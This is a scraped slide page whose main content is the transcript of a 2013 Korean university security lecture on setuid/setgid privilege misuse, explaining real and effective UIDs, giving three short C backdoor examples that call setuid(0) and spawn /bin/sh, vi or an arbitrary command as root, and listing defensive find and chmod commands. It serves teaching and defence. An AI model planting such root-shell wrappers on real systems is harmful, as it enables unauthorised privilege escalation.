Execution with Unnecessary Privileges

Slides:



Advertisements
Similar presentations
IBM WAVE for z/VM. PC requirements - jdk V1.7 이상 설치 웹서버 접속 – 로 접속 “Launch IBM Wave v1.2.0” 클릭.
Advertisements

중등특수교육과 엄승현 이영재 이지수 속요에 대하여.
SPARCS 10 이 가 영 기본 UNIX 명령어. 일단 로그인 ! Linux login 시 계정을 입력하거나 root 를 입력 Root -> # 일반 사용자 -> $ 패스워드 : echo 기능을 꺼서 볼 수 없다. 대소문자 구분 패스워드 처음 설정 시 : ~$ passwd.
인터넷교육 사업계획서. 인터넷교육 사업계획서 목 차 1. ㈜ △△△ 사업의 개요 11. 회사가 주최하는 교육 및 행사 12. 사업자 원천징수 2. ㈜ △△△ 사업의 특징 목 차 1. ㈜ △△△ 사업의 개요 2. ㈜ △△△ 사업의 특징 3. ㈜ △△△
쯔쯔가무시 예방수칙을 실천하세요! 한국산업안전보건공단 광주지역본부.
교재:C언어로 쉽게 풀어 쓴 자료구조 (생능출판사, 천인국저)
Basic of Buffer Over Flow
2016 ITA 1월 강의 C Programming -4일차- 포인터배열 및 이중포인터 정대진 ( )
6 레이스 컨디션.
2014 ITA 8월 강의 C Programming -1주차- C언어 기초 정대진 ( )
4. 시스템 관리 기본 naldo.
Chapter 3 /etc/passwd real uid(진짜 사용자 식별번호), real gid(진짜 그룹 식별번호)
Linux/UNIX Programming APUE (Process Control)
Chapter 6. 리눅스 백도어 황 선 환.
C 프로그래밍 소개 숙명여대 창병모 2011 가을.
UNIX의 중급 명령어 UNIX의 고급 명령어 연습 문제
8장 프로세스.
MySQL performance Xhark 김재홍.
TUXEDO 프로그래밍 가이드.
Department of Computer Engineering
리눅스와 보안 PLUS 오태호.
C언어: 배열 (Arrays).
Autokey Cipher 자동키 암호 Department of Cyber Security / 박건주.
6 프로세스 생성과 실행.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
1. 화면 및 메뉴소개 ▣ 온라인사업지원시스템 소개 ▶ 온라인사업지원시스템이란
Department of Computer Engineering
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 02. 프로그램의 기본구성.
Processing resulting output
Linux System Programming
시스템 보안 백 도 어 학번: 이름: 김 준 일.
리눅스 기본 명령어 기본 명령어 명령어 기능 사 용 예 date 날짜 및 시간을 확인하고 생성.
레이스 컨디션 컴퓨터공학과 4학년 이교욱.
Linux/UNIX Programming APUE (Files & Directories)
Term Project Team Member
프로세스 생성[1] 프로그램 실행 : system(3) #include <stdlib.h>
6장 파일 및 레코드 잠금.
UniSQL/X 실습과제 (1) ■ 실습 기간: ~
C언어 프로그래밍의 이해 Ch14. 파일 입출력.
5 프로세스 정보.
Work Progress ’ 나소라, 윤민.
제주닷컴 매뉴얼 (실시간 예약시스템) 2013년 10월.
Chapter 3 클래스. 최호성.
제 11 장 전처리기.
Computer Graphics OpenGL 설치 및 설정
1. 화면 및 메뉴소개 ▣ 온라인사업지원시스템 소개 ▶ 온라인사업지원시스템이란
Boot PROM.
C언어 프로그래밍의 이해 Ch13. 선행처리기와 주석문.
OpenCV 설치 및 구성 OpenCV
19. 함수 포인터와 void 포인터.
4장 서버 구축을 위해 알아야 할 핵심 개념과 명령어
발표자료는 다음링크에서 다운로드 받으실 수 있습니다.
setuid, setgid, sticky bit 권한
운영체제 RaspberryPi Sejin Oh.
Itbank solaris Pm 4:00 class 김 정 훈
1 [100인의 멘토] 학교로 찾아가는 진로교육 □ 목적 인천지역 자유학기제 대상 청소년에게 건설관련 전문분야에 대한 진로탐색을 통해 체계적인 진로교육을 실시 □ 개요 ○ 참가대상: 18개 학교(학교당 1학급 기준) *협의가능 ○ 활동장소 : 각 선정 학교.
속요 국어국문학과 김보민 국어국문학과 조나현 제목 창의적으로 바꿔야 함.
Department of Computer Engineering
시스템 인터페이스 Lab#5 쉘 실습.
FTZ 과제풀이 Level 11,12 HyunJae Lee
천국 가는 길 천국 가는 길 ♧ 천국 가는 길 ♧ 1. 죄와 사망(지옥) 1) 사람의 3가지 공통점 - 죄인, 죽음, 심판
컴퓨터 프로그래밍 기초 - 11th : 파일 입출력 및 구조체 -
실습과제 1번 생성된 파일 basic.txt를 프로젝트 폴더에서 메모장으로 열고 내용을 확인
어서와 C언어는 처음이지 제16장.
argc, argv 의 사용방법 #include <stdio.h>
C 13장. 입출력 라이브러리 #include <stdio.h> int main(void) { int num;
어서와 C언어는 처음이지 제23장.
C.
어서와 C언어는 처음이지 제22장.
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
Presentation transcript:

Execution with Unnecessary Privileges System & Network Security Lab 석사 25기 유창훈 2013.6.5

목차 소개 취약 가능성 취약가능성 분석 백 도어 예제 대응방법 Q&A

소개 “위대한 힘에는 커다란 책임이 따른다” 스파이더맨이라는 맊화 속의 유명핚 슈퍼히어로는 "위대핚 힘에는 커다띾 책임이 따른다"는 좌우명을 실첚합니다. 소프트웨어 역시 특정 작업을 수행하기 위해 특별핚 권핚을 필요로 핛 수 있지맊, 이 같은 권핚을 필요 이상 오랪동앆 행사하면 매우 위험핛 수 있습니다.

취약가능성

취약가능성 분석 리눅스 명령어 실행 절차 현재 작업 디렉토리에서 실행파일 찾음. $PATH에서 실행파일 찾음 찾은 후 실행권한 체크 권한이 있다면 실행시킨 사용자의 UID로 실행 권한이 없으면 실행 실패 실행시 이 파일이 SetUID bit가 있는지 확인 SetUID bit가 있다면 명령어 소유주의 EUID로 실행 유닉스는 멀티운영체제 따라서 사용자별로 권한을 나누어 줌. 한 사람이 한대의 컴퓨터를 사용할 때는 퍼미션의

취약가능성 분석 UserID GroupID Effective user ID, Effective group ID /etc/passwd GroupID /etc/group Effective user ID, Effective group ID 컴퓨터 시스템에 등록된 각 사용자들은 사용자 이름(user name) 과 사용자ID(user ID) 에 의해 구분된다. 사용자 이름과 그에 해당하는 사용자 ID는 데이터베이스에 저장되어 있다. /etc/passwd 사용자는 그룹 안에 분류된다. 그룹 ID 또는 그룹 이름에 대한 정보를 어떻게 찾는지 나와있다. /etc/group 사용자는 uid와 euid를 갖는다. Real UID와 Effective UID 라고 불리는데 Real UID는 파일을 실행시키는 유저의 ID Effective UID 는 파일이 실행되었을 때 실제 억세스 제어에 관련된 ID 모든 프로그램이 실행될때 연결된 파일에 접근 권한 같은 것은 euid에 따라 결정됩니다.  일반적으로 두개가 같지만 다른경우가 있다 passwd, mount , ping과 같은 것들이 그 예이다. Effective id가 root라면 이미 root권한으로 할 수 있는 일은 모두 할 수 있다. 다만 쉘을 떨어뜨릴라면 쉘실행시 realuid를 그대로 상속받는다.

취약가능성 분석 왜 프로세스의 권한을 변경하는가? TEST라는 파일의 소유자가 root 이고 SeT UID가 걸려있을때 동작과정

취약가능성 분석 권한 변경 방법 Setuid 비트 Setgid 비트 example -rwsr-sr-x   1 root   yoo ……… 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.

백 도어 예제 - 1) #include <stdio.h> Int main() { setuid(0); setgid(0); system(“/bin/sh”); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.

백 도어 예제 - 2) #include <stdio.h> Int main() { setuid(0); setgid(0); system(“/bin/vi”); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.

백 도어 예제 - 3) #include <stdio.h> Int main(int argc, char * argv[] ) { char exec[100]; setuid(0); setgid(0); sprintf(exec, “%s 2>/dev/null”, argv[1]); system(exec); } 소유자계정으로 변화하고 싶은 파일에 소유자가 setuid setgid를 셋팅해 놓아야지만 가능하다.

대응방안 setuid / setgid 걸린 파일 찾아내기 setuid / setgid bit걸린 파일 관리 “find / -user root –perm -4000 2>/dev/null” “find / -user root –perm -2000 2>/dev/null” “chmod –s filename” setuid / setgid bit걸린 파일 관리 md5sum과 diff를 이용 보안에 취약한 root 소유의 setuid 파일들의 경우 꼭 필요한 파일을 제외하고는 그 외 setuid, setgid파일에 대하여 속성을 제거해 준다. 설정제거해야할 목록은 위와 같고 어플리케이션 및 사용자가 임의로 생성한 파일등 특이한 파일을 발견시에도 Setuid를 제거해야하는데 OS및 응용프로그램의 서비스 정상 유무를 파악하면서 신중히 진행해야함. 추가적으로

대응방안 시스템에서 특정프로세스의 실행 중 권한상승을 체크하는 메커니즘. setuid() setgid()함수 사용여부 체크

Q&A 감사합니다.